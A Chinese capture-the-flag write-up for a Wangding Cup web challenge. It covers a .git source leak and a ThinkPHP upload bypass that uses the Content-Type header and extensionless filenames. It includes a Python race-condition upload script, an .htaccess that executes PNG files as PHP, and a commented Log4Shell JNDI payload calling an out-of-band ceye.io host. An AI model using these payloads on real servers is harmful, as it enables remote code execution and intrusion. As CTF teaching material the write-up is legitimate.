网鼎杯 白虎组 web wp

admin 2023年2月24日11:03:06评论16 views字数 1505阅读5分1秒阅读模式

网鼎杯 白虎组 web wp

  1. dirsearch扫描目录,发现.git文件泄露,通过githack可以下载源代码

  2. 本地搭建php环境,windows经过测试,需要使用TS版本的php。Linux无需考虑php版本。开始的时候thinkphp安装报错,需要从网上下载thinkphp5目录文件补全。本地需要开启htaccess

网鼎杯 白虎组 web wp

3.代码审计

发现$file_type的值获取的是从Http请求content-type过来的值,所以可以通过控制content-type的类型控制程序的执行流程。

upload_as_image函数上传的文件名均做了白名单限制,所以需要通过upload_as_text函数来上传。

网鼎杯 白虎组 web wp

 $file_ext = explode('.',$file_name);

 $file_ext = strtolower(end($file_ext));

hw_file_name通过get传参,且传入的文件filename如果不带后缀,file_ext 直接获取这个值。$text_type获取的filename不带"."的话,可以绕过,并可以在upload_as_text函数中上传成功。

上传htaccess和上传图片需要在同一秒内,可以通过burpsuite拼手速或者通过脚本执行。


网鼎杯 白虎组 web wp


import requests url1 = 'http://192.168.65.137/public/index.php/index/index/upload.html?hw_file_name='url2 = 'http://192.168.65.137/public/index.php/index/index/upload.html?hw_file_name=test'
#url = 'http://www.test.com/doPost.php'#files = {'file': open('D:/tmp/1.jpg', 'rb')}
# 要上传的文件files1 = {'hw_file': ('htaccess', open('.htaccess', 'rb'),'application/octet-stream')}files2 = {'hw_file': ('png', open('a.png', 'rb'),'application/octet-stream')}payload = {'a':'${jndi:ldap://ip.port.b182oj.ceye.io/test}'} r = requests.post(url1, files=files1)r1 = requests.post(url2, files=files2)min = r1.headers['date'].split(':')[1]sec = r1.headers['date'].split(':')[2].split(' ')[0]print('http://192.168.65.137/uploads/files/2022082917'+min+sec+'/test.png')'''print(r1.headers['date'])print (r1.headers['date'].split(':')[1])print (r1.headers['date'].split(':')[2].split(' ')[0])
r3 = requests.post(url2, data=payload)print(r3.text)'''

.htaccess文件

<FilesMatch "png">SetHandler application/x-httpd-php</FilesMatch>


原文始发于微信公众号(安全初心):网鼎杯 白虎组 web wp

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月24日11:03:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   网鼎杯 白虎组 web wphttp://cn-sec.com/archives/1266811.html

发表评论

匿名网友 填写信息